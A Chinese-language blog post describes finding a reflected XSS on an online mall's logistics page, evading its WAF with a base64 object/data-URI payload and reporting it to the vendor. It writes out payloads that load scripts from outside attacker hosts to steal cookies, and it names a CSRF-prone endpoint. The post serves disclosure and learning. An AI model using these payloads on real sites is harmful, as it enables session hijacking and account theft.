【注意：此文章为博主原创文章！转载需注意，请带原文链接，至少也要是txt格式！】

某日在逛SN的线上商城，发现一个URL，然后就随手看了一下，如下图。

仔细看了一下，里面明显有两个参数有问题啊。 orderId  和 vendorCode  似乎提交什么值，他们俩就会在网页中显示什么值。那么是不是可以构造一个反射XSS的URL了？如下图：

哎呦，居然出错了，估计应该内部有拦截吧，然后测试了一下img图片的标签。

如下把参数值改成如下代码：

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xss.life/xss';>

结果发现和上图一样，也是页面没有找到。

估测程序应该有WAF，对某些恶意参数有拦截。那么就Fuzzy一下，看看都有哪些参数被拦截。结果如下图：

经过一番测试发现，很多函数都被禁用，只要URL的参数值中含有禁用的页面就会出错。

大概如下：

scritp

alert

eval

onerror

" (双引号 自动会在前方加/ 反斜杠)

&

#

等等都被禁用。

最后经过测试发现object、EMBED等几个HTML标签没有被禁用。通过这个标签配合一起其他没被禁用的函数，组成如下代码。

http://xxxxxx.SN.com/logistic/queryListLogistics.do?orderId=<object data='data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL2dkZC5nZC94c3NVUkw+PC9zY3JpcHQ+'>31001968360&vendorCode=000000&vendorType=0&orderItemIds=31003537400

最终访问这个URL就会加载我的XSS代码。如下图。

当然了。最终还是需要去XSS 平台看一眼是否打到了cookie。

其实到这里就结束了，本来想测试一下XSS + CSRF的，但是有CSRF的地址“同源策略”问题无法提交数据。

 

http://xxxx.SN.com/web/ajaxUpdateMotto.do  POST motto=XXXXXXX  这个地方时存在CSRF的。

 

最后把这个反射XSS问题提交给SN安全部，他们的回复真的令我诧异。。。如下图：

到了这里我莫名的笑了，弄这个纯粹是为了学习，提交只是我好心。但是他们的回复真的挺搞笑的。如果我不提供有攻击性的payload，那我就提供一个弹窗？？？还是我就提供一个截图？？？(我实际打到cookie的截图，还有实际攻击的URL都给他们了。)  就因为我给的是攻击的URL然后就忽略未通过。。。

难道我只能提交个弹窗来证明问题么？

有的时候能弹窗却无法实现真正的攻击获取cookie或者加载JS代码等这种情况没遇到过？？

弹窗并不能完全证明危害性不知道？？？

【这里澄清一下，最后他们把问题通过了。】